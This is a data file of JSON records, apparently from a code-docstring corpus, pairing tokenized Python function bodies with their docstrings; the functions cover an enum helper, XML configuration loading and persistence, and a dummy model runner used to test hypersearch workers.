{"signature": "def Enum(*args, **kwargs):", "body": "def getLabel(cls, val):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return cls.__labels[val]<EOL><DEDENT>def validate(cls, val):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return val in cls.__values<EOL><DEDENT>def getValues(cls):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return list(cls.__values)<EOL><DEDENT>def getLabels(cls):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return list(cls.__labels.values())<EOL><DEDENT>def getValue(cls, label):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return cls.__labels[label]<EOL><DEDENT>for arg in list(args)+list(kwargs.keys()):<EOL><INDENT>if type(arg) is not str:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(arg))<EOL><DEDENT>if not __isidentifier(arg):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"\"<STR_LIT>\".format(arg))<EOL><DEDENT><DEDENT>kwargs.update(list(zip(args, args)))<EOL>newType = type(\"<STR_LIT>\", (object,), kwargs)<EOL>newType.__labels = dict( (v,k) for k,v in kwargs.items())<EOL>newType.__values = set(newType.__labels.keys())<EOL>newType.getLabel = functools.partial(getLabel, newType)<EOL>newType.validate = functools.partial(validate, newType)<EOL>newType.getValues = functools.partial(getValues, newType)<EOL>newType.getLabels = functools.partial(getLabels, newType)<EOL>newType.getValue = functools.partial(getValue, newType)<EOL>return newType<EOL>", "docstring": "Utility function for creating enumerations in python\n\nExample Usage:\n  >> Color = Enum(\"Red\", \"Green\", \"Blue\", \"Magenta\")\n  >> print Color.Red\n  >> 0\n  >> print Color.Green\n  >> 1\n  >> print Color.Blue\n  >> 2\n  >> print Color.Magenta\n  >> 3\n  >> Color.Violet\n  >> 'violet'\n  >> Color.getLabel(Color.Red)\n  >> 'Red'\n  >> Color.getLabel(2)\n  >> 'Blue'", "id": "f17591:m1"}
{"signature": "def makeDirectoryFromAbsolutePath(absDirPath):", "body": "assert os.path.isabs(absDirPath)<EOL>try:<EOL><INDENT>os.makedirs(absDirPath)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno != os.errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>return absDirPath<EOL>", "docstring": "Makes directory for the given directory path with default permissions.\n    If the directory already exists, it is treated as success.\n\n    absDirPath:   absolute path of the directory to create.\n\n    Returns:      absDirPath arg\n\n    Exceptions:         OSError if directory creation fails", "id": "f17591:m2"}
{"signature": "@classmethod<EOL><INDENT>def getString(cls, prop):<DEDENT>", "body": "if cls._properties is None:<EOL><INDENT>cls._readStdConfigFiles()<EOL><DEDENT>envValue = os.environ.get(\"<STR_LIT>\" % (cls.envPropPrefix,<EOL>prop.replace('<STR_LIT:.>', '<STR_LIT:_>')), None)<EOL>if envValue is not None:<EOL><INDENT>return envValue<EOL><DEDENT>return cls._properties[prop]<EOL>", "docstring": "Retrieve the requested property as a string. If property does not exist,\n        then KeyError will be raised.\n\n        Parameters:\n        ----------------------------------------------------------------\n        prop:        name of the property\n        retval:      property value as a string", "id": "f17591:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def getBool(cls, prop):<DEDENT>", "body": "value = cls.getInt(prop)<EOL>if value not in (<NUM_LIT:0>, <NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (<EOL>value, prop))<EOL><DEDENT>return bool(value)<EOL>", "docstring": "Retrieve the requested property and return it as a bool. If property\n        does not exist, then KeyError will be raised. If the property value is\n        neither 0 nor 1, then ValueError will be raised\n\n        Parameters:\n        ----------------------------------------------------------------\n        prop:        name of the property\n        retval:      property value as bool", "id": "f17591:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def getInt(cls, prop):<DEDENT>", "body": "return int(cls.getString(prop))<EOL>", "docstring": "Retrieve the requested property and return it as an int. If property\n        does not exist, then KeyError will be raised.\n\n        Parameters:\n        ----------------------------------------------------------------\n        prop:        name of the property\n        retval:      property value as int", "id": "f17591:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def getFloat(cls, prop):<DEDENT>", "body": "return float(cls.getString(prop))<EOL>", "docstring": "Retrieve the requested property and return it as a float. If property\n        does not exist, then KeyError will be raised.\n\n        Parameters:\n        ----------------------------------------------------------------\n        prop:        name of the property\n        retval:      property value as float", "id": "f17591:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def get(cls, prop, default=None):<DEDENT>", "body": "try:<EOL><INDENT>return cls.getString(prop)<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Get the value of the given configuration property as string. This\n        returns a string which is the property value, or the value of \"default\" arg\n        if the property is not found. Use Configuration.getString() instead.\n\n        NOTE: it's atypical for our configuration properties to be missing - a\n         missing configuration property is usually a very serious error. Because\n         of this, it's preferable to use one of the getString, getInt, getFloat,\n         etc. variants instead of get(). Those variants will raise KeyError when\n         an expected property is missing.\n\n        Parameters:\n        ----------------------------------------------------------------\n        prop:        name of the property\n        default:     default value to return if property does not exist\n        retval:      property value (as a string), or default if the property does\n                      not exist.", "id": "f17591:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def set(cls, prop, value):<DEDENT>", "body": "if cls._properties is None:<EOL><INDENT>cls._readStdConfigFiles()<EOL><DEDENT>cls._properties[prop] = str(value)<EOL>", "docstring": "Set the value of the given configuration property.\n\n        Parameters:\n        ----------------------------------------------------------------\n        prop:        name of the property\n        value:       value to set", "id": "f17591:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def dict(cls):<DEDENT>", "body": "if cls._properties is None:<EOL><INDENT>cls._readStdConfigFiles()<EOL><DEDENT>result = dict(cls._properties)<EOL>keys = list(os.environ.keys())<EOL>replaceKeys = [x for x in keys if x.startswith(cls.envPropPrefix)]<EOL>for envKey in replaceKeys:<EOL><INDENT>key = envKey[len(cls.envPropPrefix):]<EOL>key = key.replace('<STR_LIT:_>', '<STR_LIT:.>')<EOL>result[key] = os.environ[envKey]<EOL><DEDENT>return result<EOL>", "docstring": "Return a dict containing all of the configuration properties\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:      dict containing all configuration properties.", "id": "f17591:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def readConfigFile(cls, filename, path=None):<DEDENT>", "body": "properties = cls._readConfigFile(filename, path)<EOL>if cls._properties is None:<EOL><INDENT>cls._properties = dict()<EOL><DEDENT>for name in properties:<EOL><INDENT>if '<STR_LIT:value>' in properties[name]:<EOL><INDENT>cls._properties[name] = properties[name]['<STR_LIT:value>']<EOL><DEDENT><DEDENT>", "docstring": "Parse the given XML file and store all properties it describes.\n\n        Parameters:\n        ----------------------------------------------------------------\n        filename:  name of XML file to parse (no path)\n        path:      path of the XML file. If None, then use the standard\n                      configuration search path.", "id": "f17591:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def _readConfigFile(cls, filename, path=None):<DEDENT>", "body": "outputProperties = dict()<EOL>if path is None:<EOL><INDENT>filePath = cls.findConfigFile(filename)<EOL><DEDENT>else:<EOL><INDENT>filePath = os.path.join(path, filename)<EOL><DEDENT>try:<EOL><INDENT>if filePath is not None:<EOL><INDENT>try:<EOL><INDENT>_getLoggerBase().debug(\"<STR_LIT>\", filePath)<EOL>with open(filePath, '<STR_LIT:r>') as inp:<EOL><INDENT>contents = inp.read()<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % filePath)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>contents = resource_string(\"<STR_LIT>\", filename)<EOL><DEDENT>except Exception as resourceException:<EOL><INDENT>if filename in [USER_CONFIG, CUSTOM_CONFIG]:<EOL><INDENT>contents = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise resourceException<EOL><DEDENT><DEDENT><DEDENT>elements = ElementTree.XML(contents)<EOL>if elements.tag != '<STR_LIT>':<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (elements.tag))<EOL><DEDENT>propertyElements = elements.findall('<STR_LIT>')<EOL>for propertyItem in propertyElements:<EOL><INDENT>propInfo = dict()<EOL>propertyAttributes = list(propertyItem)<EOL>for propertyAttribute in propertyAttributes:<EOL><INDENT>propInfo[propertyAttribute.tag] = propertyAttribute.text<EOL><DEDENT>name = propInfo.get('<STR_LIT:name>', None)<EOL>if '<STR_LIT:value>' in propInfo and propInfo['<STR_LIT:value>'] is None:<EOL><INDENT>value = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>value = propInfo.get('<STR_LIT:value>', None)<EOL>if value is None:<EOL><INDENT>if '<STR_LIT>' in propInfo:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(propInfo)))<EOL><DEDENT><DEDENT><DEDENT>restOfValue = value<EOL>value = '<STR_LIT>'<EOL>while True:<EOL><INDENT>pos = restOfValue.find('<STR_LIT>')<EOL>if pos == -<NUM_LIT:1>:<EOL><INDENT>value += restOfValue<EOL>break<EOL><DEDENT>value += restOfValue[<NUM_LIT:0>:pos]<EOL>varTailPos = restOfValue.find('<STR_LIT:}>', pos)<EOL>if varTailPos == -<NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (restOfValue))<EOL><DEDENT>varname = restOfValue[pos + <NUM_LIT:6>:varTailPos]<EOL>if varname not in os.environ:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>varname))<EOL><DEDENT>envVarValue = os.environ[varname]<EOL>value += envVarValue<EOL>restOfValue = restOfValue[varTailPos + <NUM_LIT:1>:]<EOL><DEDENT>if name is None:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(propInfo)))<EOL><DEDENT>propInfo['<STR_LIT:value>'] = value<EOL>outputProperties[name] = propInfo<EOL><DEDENT>return outputProperties<EOL><DEDENT>except Exception:<EOL><INDENT>_getLoggerBase().exception(\"<STR_LIT>\",<EOL>filePath)<EOL>raise<EOL><DEDENT>", "docstring": "Parse the given XML file and return a dict describing the file.\n\n        Parameters:\n        ----------------------------------------------------------------\n        filename:  name of XML file to parse (no path)\n        path:      path of the XML file. If None, then use the standard\n                      configuration search path.\n        retval:    returns a dict with each property as a key and a dict of all\n                   the property's attributes as value", "id": "f17591:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def clear(cls):<DEDENT>", "body": "cls._properties = None<EOL>cls._configPaths = None<EOL>", "docstring": "Clear out the entire configuration.", "id": "f17591:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>def findConfigFile(cls, filename):<DEDENT>", "body": "paths = cls.getConfigPaths()<EOL>for p in paths:<EOL><INDENT>testPath = os.path.join(p, filename)<EOL>if os.path.isfile(testPath):<EOL><INDENT>return os.path.join(p, filename)<EOL><DEDENT><DEDENT>", "docstring": "Search the configuration path (specified via the NTA_CONF_PATH\n        environment variable) for the given filename. If found, return the complete\n        path to the file.\n\n        Parameters:\n        ----------------------------------------------------------------\n        filename:  name of file to locate", "id": "f17591:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def getConfigPaths(cls):<DEDENT>", "body": "configPaths = []<EOL>if cls._configPaths is not None:<EOL><INDENT>return cls._configPaths<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in os.environ:<EOL><INDENT>configVar = os.environ['<STR_LIT>']<EOL>configPaths = configVar.split(os.pathsep)<EOL><DEDENT>return configPaths<EOL><DEDENT>", "docstring": "Return the list of paths to search for configuration files.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:    list of paths.", "id": "f17591:c0:m11"}
{"signature": "@classmethod<EOL><INDENT>def setConfigPaths(cls, paths):<DEDENT>", "body": "cls._configPaths = list(paths)<EOL>", "docstring": "Modify the paths we use to search for configuration files.\n\n        Parameters:\n        ----------------------------------------------------------------\n        paths:   list of paths to search for config files.", "id": "f17591:c0:m12"}
{"signature": "@classmethod<EOL><INDENT>def _readStdConfigFiles(cls):<DEDENT>", "body": "<EOL>cls.readConfigFile(DEFAULT_CONFIG)<EOL>cls.readConfigFile(USER_CONFIG)<EOL>", "docstring": "Read in all standard configuration files", "id": "f17591:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def getCustomDict(cls):<DEDENT>", "body": "return _CustomConfigurationFileWrapper.getCustomDict()<EOL>", "docstring": "Return a dict containing all custom configuration properties\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:      dict containing all custom configuration properties.", "id": "f17591:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def setCustomProperty(cls, propertyName, value):<DEDENT>", "body": "cls.setCustomProperties({propertyName: value})<EOL>", "docstring": "Set a single custom setting and persist it to the custom\n        configuration store.\n\n        Parameters:\n        ----------------------------------------------------------------\n        propertyName: string containing the name of the property to get\n        value: value to set the property to", "id": "f17591:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def setCustomProperties(cls, properties):<DEDENT>", "body": "_getLogger().info(\"<STR_LIT>\",<EOL>properties, traceback.format_stack())<EOL>_CustomConfigurationFileWrapper.edit(properties)<EOL>for propertyName, value in properties.items():<EOL><INDENT>cls.set(propertyName, value)<EOL><DEDENT>", "docstring": "Set multiple custom properties and persist them to the custom\n        configuration store.\n\n        Parameters:\n        ----------------------------------------------------------------\n        properties: a dict of property name/value pairs to set", "id": "f17591:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def clear(cls):<DEDENT>", "body": "<EOL>super(Configuration, cls).clear()<EOL>_CustomConfigurationFileWrapper.clear(persistent=False)<EOL>", "docstring": "Clear all configuration properties from in-memory cache, but do NOT\n        alter the custom configuration file. Used in unit-testing.", "id": "f17591:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def resetCustomConfig(cls):<DEDENT>", "body": "_getLogger().info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", traceback.format_stack())<EOL>super(Configuration, cls).clear()<EOL>_CustomConfigurationFileWrapper.clear(persistent=True)<EOL>", "docstring": "Clear all custom configuration settings and delete the persistent\n        custom configuration store.", "id": "f17591:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def loadCustomConfig(cls):<DEDENT>", "body": "cls.readConfigFile(_CustomConfigurationFileWrapper.customFileName)<EOL>", "docstring": "Loads custom configuration settings from their persistent storage.\n        DO NOT CALL THIS: It's typically not necessary to call this method\n        directly - see NOTE below.\n\n        NOTE: this method exists *solely* for the benefit of prepare_conf.py, which\n        needs to load configuration files selectively.", "id": "f17591:c1:m5"}
{"signature": "@classmethod<EOL><INDENT>def _readStdConfigFiles(cls):<DEDENT>", "body": "super(Configuration, cls)._readStdConfigFiles()<EOL>cls.loadCustomConfig()<EOL>", "docstring": "Intercept the _readStdConfigFiles call from our base config class to\n        read in base and custom configuration settings.", "id": "f17591:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def clear(cls, persistent=False):<DEDENT>", "body": "if persistent:<EOL><INDENT>try:<EOL><INDENT>os.unlink(cls.getPath())<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno != errno.ENOENT:<EOL><INDENT>_getLogger().exception(\"<STR_LIT>\"\"<STR_LIT>\", e.errno,<EOL>cls.getPath())<EOL>raise<EOL><DEDENT><DEDENT><DEDENT>cls._path = None<EOL>", "docstring": "If persistent is True, delete the temporary file\n\n        Parameters:\n        ----------------------------------------------------------------\n        persistent: if True, custom configuration file is deleted", "id": "f17591:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def getCustomDict(cls):<DEDENT>", "body": "if not os.path.exists(cls.getPath()):<EOL><INDENT>return dict()<EOL><DEDENT>properties = Configuration._readConfigFile(os.path.basename(<EOL>cls.getPath()), os.path.dirname(cls.getPath()))<EOL>values = dict()<EOL>for propName in properties:<EOL><INDENT>if '<STR_LIT:value>' in properties[propName]:<EOL><INDENT>values[propName] = properties[propName]['<STR_LIT:value>']<EOL><DEDENT><DEDENT>return values<EOL>", "docstring": "Returns a dict of all temporary values in custom configuration file", "id": "f17591:c2:m1"}
{"signature": "@classmethod<EOL><INDENT>def edit(cls, properties):<DEDENT>", "body": "copyOfProperties = copy(properties)<EOL>configFilePath = cls.getPath()<EOL>try:<EOL><INDENT>with open(configFilePath, '<STR_LIT:r>') as fp:<EOL><INDENT>contents = fp.read()<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>if e.errno != errno.ENOENT:<EOL><INDENT>_getLogger().exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>e.errno, configFilePath, properties)<EOL>raise<EOL><DEDENT>contents = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>elements = ElementTree.XML(contents)<EOL>ElementTree.tostring(elements)<EOL><DEDENT>except Exception as e:<EOL><INDENT>msg = \"<STR_LIT>\"\"<STR_LIT>\" %(configFilePath, contents, type(e), e)<EOL>_getLogger().exception(msg)<EOL>raise RuntimeError(msg).with_traceback(sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>if elements.tag != '<STR_LIT>':<EOL><INDENT>e = \"<STR_LIT>\" %(elements.tag)<EOL>_getLogger().error(e)<EOL>raise RuntimeError(e)<EOL><DEDENT>for propertyItem in elements.findall('<STR_LIT>'):<EOL><INDENT>propInfo = dict((attr.tag, attr.text) for attr in propertyItem)<EOL>name = propInfo['<STR_LIT:name>']<EOL>if name in copyOfProperties:<EOL><INDENT>foundValues = propertyItem.findall('<STR_LIT>')<EOL>if len(foundValues) > <NUM_LIT:0>:<EOL><INDENT>foundValues[<NUM_LIT:0>].text = str(copyOfProperties.pop(name))<EOL>if not copyOfProperties:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>e = \"<STR_LIT>\" % (name,)<EOL>_getLogger().error(e)<EOL>raise RuntimeError(e)<EOL><DEDENT><DEDENT><DEDENT>for propertyName, value in copyOfProperties.items():<EOL><INDENT>newProp = ElementTree.Element('<STR_LIT>')<EOL>nameTag = ElementTree.Element('<STR_LIT:name>')<EOL>nameTag.text = propertyName<EOL>newProp.append(nameTag)<EOL>valueTag = ElementTree.Element('<STR_LIT:value>')<EOL>valueTag.text = str(value)<EOL>newProp.append(valueTag)<EOL>elements.append(newProp)<EOL><DEDENT>try:<EOL><INDENT>makeDirectoryFromAbsolutePath(os.path.dirname(configFilePath))<EOL>with open(configFilePath, '<STR_LIT:w>') as fp:<EOL><INDENT>fp.write(ElementTree.tostring(elements))<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>_getLogger().exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", properties,<EOL>configFilePath)<EOL>raise<EOL><DEDENT>", "docstring": "Edits the XML configuration file with the parameters specified by\n        properties\n\n        Parameters:\n        ----------------------------------------------------------------\n        properties: dict of settings to be applied to the custom configuration store\n                     (key is property name, value is value)", "id": "f17591:c2:m2"}
{"signature": "@classmethod<EOL><INDENT>def _setPath(cls):<DEDENT>", "body": "cls._path = os.path.join(os.environ['<STR_LIT>'],<EOL>cls.customFileName)<EOL>", "docstring": "Sets the path of the custom configuration file", "id": "f17591:c2:m3"}
{"signature": "@classmethod<EOL><INDENT>def getPath(cls):<DEDENT>", "body": "if cls._path is None:<EOL><INDENT>cls._setPath()<EOL><DEDENT>return cls._path<EOL>", "docstring": "Get the path of the custom configuration file", "id": "f17591:c2:m4"}
{"signature": "def __init__(self,<EOL>modelID,<EOL>jobID,<EOL>params,<EOL>predictedField,<EOL>reportKeyPatterns,<EOL>optimizeKeyPattern,<EOL>jobsDAO,<EOL>modelCheckpointGUID,<EOL>logLevel=None,<EOL>predictionCacheMaxRecords=None):", "body": "super(OPFDummyModelRunner, self).__init__(modelID=modelID,<EOL>jobID=jobID,<EOL>predictedField=predictedField,<EOL>experimentDir=None,<EOL>reportKeyPatterns=reportKeyPatterns,<EOL>optimizeKeyPattern=optimizeKeyPattern,<EOL>jobsDAO=jobsDAO,<EOL>modelCheckpointGUID=modelCheckpointGUID,<EOL>logLevel=logLevel,<EOL>predictionCacheMaxRecords=None)<EOL>self._predictionCacheMaxRecords = predictionCacheMaxRecords<EOL>self._streamDef = copy.deepcopy(self._DUMMY_STREAMDEF)<EOL>self._params = copy.deepcopy(self._DEFAULT_PARAMS)<EOL>if '<STR_LIT>' in paramsand '<STR_LIT>' in params['<STR_LIT>']:<EOL><INDENT>self.modelIndex=params['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self.modelIndex = OPFDummyModelRunner.modelIndex<EOL>OPFDummyModelRunner.modelIndex += <NUM_LIT:1><EOL><DEDENT>self._loadDummyModelParameters(params)<EOL>self._logger.debug(\"<STR_LIT>\", self._params)<EOL>self._busyWaitTime = self._params['<STR_LIT>']<EOL>self._iterations = self._params['<STR_LIT>']<EOL>self._doFinalize = self._params['<STR_LIT>']<EOL>self._delay = self._params['<STR_LIT>']<EOL>self._sleepModelRange = self._params['<STR_LIT>']<EOL>self._makeCheckpoint = self._params['<STR_LIT>']<EOL>self._finalDelay = self._params['<STR_LIT>']<EOL>self._exitAfter = self._params['<STR_LIT>']<EOL>self.randomizeWait = self._params['<STR_LIT>']<EOL>if self._busyWaitTime is not None:<EOL><INDENT>self.__computeWaitTime()<EOL><DEDENT>if self._params['<STR_LIT>'] is not Noneand self._params['<STR_LIT>'] is not None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"\"<STR_LIT>\")<EOL><DEDENT>self.metrics = None<EOL>self.metricValue = None<EOL>if self._params['<STR_LIT>'] is not None:<EOL><INDENT>self.metrics = eval(self._params['<STR_LIT>'])<EOL><DEDENT>elif self._params['<STR_LIT>'] is not None:<EOL><INDENT>self.metricValue = float(self._params['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>self.metrics = OPFDummyModelRunner.metrics[<NUM_LIT:0>]<EOL><DEDENT>if self._params['<STR_LIT>'] is not None:<EOL><INDENT>self._model = self.__createModel(self._params['<STR_LIT>'])<EOL>self.__fieldInfo = self._model.getFieldInfo()<EOL><DEDENT>self._sysExitModelRange = self._params['<STR_LIT>']<EOL>if self._sysExitModelRange is not None:<EOL><INDENT>self._sysExitModelRange = [int(x) for x in self._sysExitModelRange.split('<STR_LIT:U+002C>')]<EOL><DEDENT>self._delayModelRange = self._params['<STR_LIT>']<EOL>if self._delayModelRange is not None:<EOL><INDENT>self._delayModelRange = [int(x) for x in self._delayModelRange.split('<STR_LIT:U+002C>')]<EOL><DEDENT>self._errModelRange = self._params['<STR_LIT>']<EOL>if self._errModelRange is not None:<EOL><INDENT>self._errModelRange = [int(x) for x in self._errModelRange.split('<STR_LIT:U+002C>')]<EOL><DEDENT>self._computModelDelay()<EOL>self._jobFailErr = self._params['<STR_LIT>']<EOL>self._logger.debug(\"<STR_LIT>\", self._modelID, self._params)<EOL>", "docstring": "Parameters:\n-------------------------------------------------------------------------\nmodelID:    ID of this model in the models table\n\njobID:\n\nparams:     a dictionary of parameters for this dummy model. The\n            possible keys are:\n\n              delay:          OPTIONAL-This specifies the amount of time\n                              (in seconds) that the experiment should wait\n                              before STARTING to process records. This is\n                              useful for simulating workers that start/end\n                              at different times\n\n              finalDelay:     OPTIONAL-This specifies the amount of time\n                              (in seconds) that the experiment should wait\n                              before it conducts its finalization operations.\n                              These operations include checking if the model\n                              is the best model, and writing out checkpoints.\n\n              waitTime:       OPTIONAL-The amount of time (in seconds)\n                              to wait in a busy loop to simulate\n                              computation time on EACH ITERATION\n\n              randomizeWait:  OPTIONAL-([0.0-1.0] ). Default:None\n                              If set to a value, the above specified\n                              wait time will be randomly be dithered by\n                              +/- <randomizeWait>% of the specfied value.\n                              For example, if randomizeWait=0.2, the wait\n                              time will be dithered by +/- 20% of its value.\n\n              iterations:     OPTIONAL-How many iterations to run the model\n                              for. -1 means run forever (default=1)\n\n              metricFunctions: OPTIONAL-A list of single argument functions\n                               serialized as strings, which return the metric\n                               value given the record number.\n\n                               Mutually exclusive with metricValue\n\n              metricValue:    OPTIONAL-A single value to use for the metric\n                              value (used to debug hypersearch).\n\n                              Mutually exclusive with metricFunctions\n\n              finalize:       OPTIONAL-(True/False). Default:True\n                              When False, this will prevent the model from\n                              recording it's metrics and performing other\n                              functions that it usually performs after the\n                              model has finished running\n\n              permutationParams: A dict containing the instances of all the\n                                  variables being permuted over\n\n              experimentDirectory: REQUIRED-An absolute path to a directory\n                                   with a valid description.py file.\n\n                                   NOTE: This does not actually affect the\n                                   running of the model or the metrics\n                                   produced. It is required to create certain\n                                   objects (such as the output stream)\n\n              makeCheckpoint:     True to actually write a checkpoint out to\n                                  disk (default: False)\n\n              sysExitModelRange: A string containing two integers 'firstIdx,\n                              endIdx'. When present, if we are running the\n                              firstIdx'th model up to but not including the\n                              endIdx'th model, then do a sys.exit() while\n                              running the model. This causes the worker to\n                              exit, simulating an orphaned model.\n\n              delayModelRange: A string containing two integers 'firstIdx,\n                              endIdx'. When present, if we are running the\n                              firstIdx'th model up to but not including the\n                              endIdx'th model, then do a delay of 10 sec.\n                              while running the model. This causes the\n                              worker to run slower and for some other worker\n                              to think the model should be orphaned.\n\n              exitAfter:      The number of iterations after which the model\n                              should perform a sys exit. This is an\n                              alternative way of creating an orphaned model\n                              that use's the dummmy model's modelIndex\n                              instead of the modelID\n\n              errModelRange: A string containing two integers 'firstIdx,\n                              endIdx'. When present, if we are running the\n                              firstIdx'th model up to but not including the\n                              endIdx'th model, then raise an exception while\n                              running the model. This causes the model to\n                              fail with a CMPL_REASON_ERROR reason\n\n              sleepModelRange: A string containing 3 integers 'firstIdx,\n                              endIdx: delay'. When present, if we are running\n                              the firstIdx'th model up to but not including\n                              the endIdx'th model, then sleep for delay\n                              seconds at the beginning of the run.\n\n              jobFailErr: If true, model will raise a JobFailException\n                          which should cause the job to be marked as\n                          failed and immediately cancel all other workers.\n\npredictedField:     Name of the input field for which this model is being\n                    optimized\n\nreportKeyPatterns:  list of items from the results dict to include in\n                    the report. These can be regular expressions.\noptimizeKeyPattern: Which report item, if any, we will be optimizing for.\n                    This can also be a regular expression, but is an error\n                    if it matches more than one key from the experiment's\n                    results.\n\njobsDAO:            Jobs data access object - the interface to the\n                    jobs database which has the model's table.\n\nmodelCheckpointGUID:\n                    A persistent, globally-unique identifier for\n                    constructing the model checkpoint key\n\nlogLevel:           override logging level to this value, if not None\npredictionCacheMaxRecords:\n                    Maximum number of records for the prediction output cache.\n                    Pass None for the default value.", "id": "f17592:c0:m0"}
{"signature": "def _loadDummyModelParameters(self, params):", "body": "for key, value in params.iteritems():<EOL><INDENT>if type(value) == list:<EOL><INDENT>index = self.modelIndex % len(params[key])<EOL>self._params[key] = params[key][index]<EOL><DEDENT>else:<EOL><INDENT>self._params[key] = params[key]<EOL><DEDENT><DEDENT>", "docstring": "Loads all the parameters for this dummy model. For any paramters\n        specified as lists, read the appropriate value for this model using the model\n        index", "id": "f17592:c0:m1"}
{"signature": "def _computModelDelay(self):", "body": "<EOL>if self._params['<STR_LIT>'] is not Noneand self._params['<STR_LIT>'] is not None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if self._sleepModelRange is not None:<EOL><INDENT>range, delay = self._sleepModelRange.split('<STR_LIT::>')<EOL>delay = float(delay)<EOL>range = map(int, range.split('<STR_LIT:U+002C>'))<EOL>modelIDs = self._jobsDAO.jobGetModelIDs(self._jobID)<EOL>modelIDs.sort()<EOL>range[<NUM_LIT:1>] = min(range[<NUM_LIT:1>], len(modelIDs))<EOL>if self._modelID in modelIDs[range[<NUM_LIT:0>]:range[<NUM_LIT:1>]]:<EOL><INDENT>self._delay = delay<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._delay = self._params['<STR_LIT>']<EOL><DEDENT>", "docstring": "Computes the amount of time (if any) to delay the run of this model.\n        This can be determined by two mutually exclusive parameters:\n        delay and sleepModelRange.\n\n        'delay' specifies the number of seconds a model should be delayed. If a list\n        is specified, the appropriate amount of delay is determined by using the\n        model's modelIndex property.\n\n        However, this doesn't work when testing orphaned models, because the\n        modelIndex will be the same for every recovery attempt. Therefore, every\n        recovery attempt will also be delayed and potentially orphaned.\n\n        'sleepModelRange' doesn't use the modelIndex property for a model, but rather\n        sees which order the model is in the database, and uses that to determine\n        whether or not a model should be delayed.", "id": "f17592:c0:m2"}
{"signature": "def _getMetrics(self):", "body": "metric = None<EOL>if self.metrics is not None:<EOL><INDENT>metric = self.metrics(self._currentRecordIndex+<NUM_LIT:1>)<EOL><DEDENT>elif self.metricValue is not None:<EOL><INDENT>metric = self.metricValue<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return {self._optimizeKeyPattern:metric}<EOL>", "docstring": "Protected function that can be overridden by subclasses. Its main purpose\n        is to allow the the OPFDummyModelRunner to override this with deterministic\n        values\n\n        Returns: All the metrics being computed for this model", "id": "f17592:c0:m3"}
